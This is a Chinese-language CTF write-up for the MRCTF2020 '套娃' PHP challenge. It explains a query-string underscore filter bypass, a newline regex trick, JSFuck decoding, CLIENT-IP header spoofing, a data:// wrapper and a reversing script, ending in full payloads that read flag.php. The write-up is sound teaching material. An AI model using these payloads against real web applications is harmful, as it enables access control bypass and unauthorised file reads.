[MRCTF2020]套娃

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千层饼PHP题，非常适合新手学习，考察绕过，编码方式

第一层

在源码中，发现hint

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

$_SERVER['QUERY_STRING']的值为URL中?之后的字符串（键值对构成的字符串）

通过两个if语句，才能进入下一关

第一个if

通过条件为字符串变量$query不含有_，%5f

可以用空格，.，%5F代替下划线！

学习链接：利用PHP的字符串解析特性Bypass

第二个if

要求b_u_p_t的值严格不等于有23333，正则匹配要匹配到23333

构造payload：

?b%5Fu%5Fp%5Ft=23333%0a

注意看，/^23333$/这里的正则匹配是开头和结尾进行匹配，%0a这里作为了换行符，

传参回显：how smart you are ~ FLAG is in secrettw.php

访问secrettw.php，进入第二层

第二层

一样在源码发现提示

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-->

解码

很熟悉的编码方式，JsFuck加密，解密结果为：

alert("post me Merak")

行，post传参Merak试试

传参

回显源码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

第三层

从源码中看要过两个if，解密change()函数

ip判定

CLIENT-IP: 
X-FORWARDED-FOR: 
X-REAL-IP: 

经过测试，只有CLIENT-IP:通过测试，在请求头中添加CLIENT-IP: 127.0.0.1

data伪协议

file_get_contents($_GET['2333']) === 'todat is a happy day'是ctf比较常见的形式，考察PHP伪协议

构造2333参数

2333=data:text/plain,todat is a happy day

change解密

我们传入的file参数会经过change()处理，导致直接传入文件名不能读取到想要的文件，分析自建函数change()

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

传入参数先经过Base64解密，再经过逐位加值（chr ( ord ($v[$i]) + $i*2 )）变化

采用倒推法，假定最终返回的是flag.php

每一位经过ASCII值减运算，再转换成ASCII字符，拼装成新的字符串

新字符串jing过Base64加密，就是要输入的字符串

制作脚本：

<?php
function unchange($v){ 

    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return $re; 
}
$a=unchange('flag.php');
echo base64_encode($a);
?>

结果为：ZmpdYSZmXGI=

最终构造payload

?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

记得还要在http请求头中添加：CLIENT-IP: 127.0.0.1

结果为：ZmpdYSZmXGI=

最终构造payload

?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

记得还要在http请求头中添加：CLIENT-IP: 127.0.0.1

回显flag值